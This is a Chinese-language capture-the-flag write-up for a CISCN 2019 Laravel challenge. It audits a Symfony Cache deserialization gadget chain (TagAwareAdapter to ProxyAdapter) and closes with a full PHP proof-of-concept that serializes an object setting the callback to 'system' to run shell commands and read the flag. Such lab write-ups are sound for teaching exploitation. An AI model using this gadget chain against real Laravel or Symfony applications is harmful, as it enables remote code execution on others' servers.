ciscn2019 final web9

buuoj上的环境:https://buuoj.cn/challenges#[CISCN2019%20%E6%80%BB%E5%86%B3%E8%B5%9B%20Day1%20Web4]Laravel1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
//backup in source.tar.gz

namespace App\Http\Controllers;


class IndexController extends Controller
{
public function index(\Illuminate\Http\Request $request){
$payload=$request->input("payload");
if(empty($payload)){
highlight_file(__FILE__);
}else{
@unserialize($payload);
}
}
}

给了一个unserialize(),显然是利用反序列化

1.搜索相关漏洞

在git文件composer.json中可以看到相关框架的版本号

1
2
3
4
5
6
7
8
9
10
11
12
13
14
@@ -9,11 +9,12 @@
"license": "MIT",
"require": {
"php": "^7.1.3",
"fideloper/proxy": "^4.0",
"laravel/framework": "5.8.*",
- "laravel/tinker": "^1.0"
+ "laravel/tinker": "^1.0",
+ "symfony/symfony": "^4.2"
},
"require-dev": {
"beyondcode/laravel-dump-server": "^1.0",
"filp/whoops": "^2.0",
"fzaninotto/faker": "^1.4",

https://cve.mitre.org/上搜索一下相关的cve

  • laravel的版本是5.8.*,有一个反序列化的RCE CVE-2019-9081,之前的强网杯也出现过,但被修复了
  • symfony的版本是4.2,有一个反序列化的CVE-2019-10912,也被修复了

2.查看laravel日志

在storage/logs/laravel-2019-06-29.log可以看到出题人调试这个洞的过程,主要关注这一段

1
2
3
4
5
#0 /private/var/html/www/pop_chain/laravel/vendor/symfony/symfony/src/Symfony/Component/Cache/Adapter/ProxyAdapter.php(191): Symfony\\Component\\Cache\\Adapter\\ProxyAdapter->doSave(1, 'saveDeferred')
#1 /private/var/html/www/pop_chain/laravel/vendor/symfony/symfony/src/Symfony/Component/Cache/Adapter/TagAwareAdapter.php(125): Symfony\\Component\\Cache\\Adapter\\ProxyAdapter->saveDeferred(Object(Symfony\\Component\\Cache\\CacheItem))
#2 /private/var/html/www/pop_chain/laravel/vendor/symfony/symfony/src/Symfony/Component/Cache/Adapter/TagAwareAdapter.php(277): Symfony\\Component\\Cache\\Adapter\\TagAwareAdapter->invalidateTags(Array)
#3 /private/var/html/www/pop_chain/laravel/vendor/symfony/symfony/src/Symfony/Component/Cache/Adapter/TagAwareAdapter.php(282): Symfony\\Component\\Cache\\Adapter\\TagAwareAdapter->commit()
#4 /private/var/html/www/pop_chain/laravel/app/Http/Controllers/IndexController.php(19): Symfony\\Component\\Cache\\Adapter\\TagAwareAdapter->__destruct()
  • IndexController.php调用了TagAwareAdapter类的__destruct方法
  • TagAwareAdapter类的commit和invalidateTags方法被依次调用
  • ProxyAdapter类的saveDeferred方法被调用,saveDeferred方法又调用了ProxyAdapter类的doSave方法

不去看日志的话就只能全局搜索__destruct然后一个一个去审计了,但其实这题在storage/framework/sessions/的缓存文件中就记录了出题人测试用的payload…

3.代码审计

看一下这几个方法

  • TagAwareAdapter.php中
    1
    2
    3
    4
    public function __destruct()
    {
    $this->commit();
    }
    __destruct调用了commit方法
    1
    2
    3
    4
    public function commit()
    {
    return $this->invalidateTags([]);
    }
    commit调用了invalidateTags方法,并传入了一个空的数组
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    public function invalidateTags(array $tags)
    {
    $ok = true;
    $tagsByKey = [];
    $invalidatedTags = [];
    foreach ($tags as $tag) {
    CacheItem::validateKey($tag);
    $invalidatedTags[$tag] = 0;
    }

    if ($this->deferred) {
    $items = $this->deferred;
    foreach ($items as $key => $item) {
    if (!$this->pool->saveDeferred($item)) {
    unset($this->deferred[$key]);
    $ok = false;
    }
    }
    $f = $this->getTagsByKey;
    $tagsByKey = $f($items);
    $this->deferred = [];
    }

    $tagVersions = $this->getTagVersions($tagsByKey, $invalidatedTags);
    $f = $this->createCacheItem;

    foreach ($tagsByKey as $key => $tags) {
    $this->pool->saveDeferred($f(static::TAGS_PREFIX.$key, array_intersect_key($tagVersions, $tags), $items[$key]));
    }
    $ok = $this->pool->commit() && $ok;

    if ($invalidatedTags) {
    $f = $this->invalidateTags;
    $ok = $f($this->tags, $invalidatedTags) && $ok;
    }

    return $ok;
    }
    invalidateTags方法代码很多,但重点是这段
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    if ($this->deferred) { //判断deferred属性是否存在
    $items = $this->deferred;
    foreach ($items as $key => $item) { //遍历$items,也就是遍历deferred属性
    if (!$this->pool->saveDeferred($item)) { //调用pool属性的saveDeferred方法,并传入$items中的一个value
    unset($this->deferred[$key]);
    $ok = false;
    }
    }
    $f = $this->getTagsByKey;
    $tagsByKey = $f($items);
    $this->deferred = [];
    }
  • ProxyAdapter类中
    1
    2
    3
    4
    public function saveDeferred(CacheItemInterface $item)
    {
    return $this->doSave($item, __FUNCTION__);
    }
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    private function doSave(CacheItemInterface $item, $method)
    {
    //这里检验了$item是否是一个CacheItem对象,往回推可以知道
    //TagAwareAdapter类的deferred属性应该是一个CacheItem对象
    if (!$item instanceof CacheItem) {
    return false;
    }
    $item = (array) $item;//这里把对象转成了数组
    if (null === $item["\0*\0expiry"] && 0 < $item["\0*\0defaultLifetime"]) {
    $item["\0*\0expiry"] = microtime(true) + $item["\0*\0defaultLifetime"];
    }

    if ($item["\0*\0poolHash"] === $this->poolHash && $item["\0*\0innerItem"]) {
    $innerItem = $item["\0*\0innerItem"];
    } elseif ($this->pool instanceof AdapterInterface) {
    // this is an optimization specific for AdapterInterface implementations
    // so we can save a round-trip to the backend by just creating a new item
    $f = $this->createCacheItem;
    $innerItem = $f($this->namespace.$item["\0*\0key"], null);
    } else {
    $innerItem = $this->pool->getItem($this->namespace.$item["\0*\0key"]);
    }

    //setInnerItem是ProxyAdapter类的一个属性,把它设成exec即可命令执行
    //$innerItem是$item中的值,可以用来传入命令
    ($this->setInnerItem)($innerItem, $item);

    return $this->pool->$method($innerItem);
    }
    最终poc如下
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    namespace Symfony\Component\Cache\Adapter;

    class TagAwareAdapter{
    public $deferred = array();
    function __construct($x){
    $this->pool = $x;
    }
    }

    class ProxyAdapter{
    protected $setInnerItem = "system"; //如果用exec的话没有回显
    }

    namespace Symfony\Component\Cache;

    class CacheItem{
    protected $innerItem = "cat ../../../../../../../../../flag"; //flag 在根目录下
    }

    $a = new \Symfony\Component\Cache\Adapter\TagAwareAdapter(new \Symfony\Component\Cache\Adapter\ProxyAdapter());
    $a->deferred = array("aa"=>new \Symfony\Component\Cache\CacheItem);
    echo urlencode(serialize($a));

    4.另一个EXP

    详情参见
    https://xz.aliyun.com/t/5816#toc-6
    可以用include去读flag